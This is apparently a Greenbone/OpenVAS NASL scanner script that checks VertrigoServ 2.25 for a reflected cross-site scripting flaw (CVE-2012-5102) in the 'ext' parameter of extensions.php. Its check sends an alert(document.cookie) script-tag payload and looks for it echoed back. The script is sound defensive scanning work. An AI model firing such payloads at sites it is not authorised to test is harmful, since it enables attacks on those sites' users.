VertrigoServ 'ext' Parameter Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802556");
  script_version("2023-12-13T05:05:23+0000");
  script_cve_id("CVE-2012-5102");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2012-01-09 12:11:55 +0530 (Mon, 09 Jan 2012)");
  script_name("VertrigoServ 'ext' Parameter Cross Site Scripting Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/47469/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51293");
  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2012/Jan/33");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/521125");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/108391/INFOSERVE-ADV2011-11.txt");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_analysis");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to execute arbitrary
  web script or HTML in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"VertrigoServ version 2.25.");

  script_tag(name:"insight", value:"The flaw is caused by an input validation error in the 'ext'
  parameter in 'extensions.php' when processing user-supplied data.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"VertrigoServ is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

if(!http_can_host_php(port:port))
  exit(0);

rcvRes = http_get_cache(item: "/index.php", port:port);

if(">Welcome to VertrigoServ<" >< rcvRes)
{
  url = '/inc/extensions.php?mode=extensions&ext=<script>alert(document.cookie)</script>';

  if(http_vuln_check(port:port, url:url, pattern:"<script>alert\(document\.cookie\)</script>", check_header:TRUE)){
    security_message(port:port);
    exit(0);
  }
}

exit(99);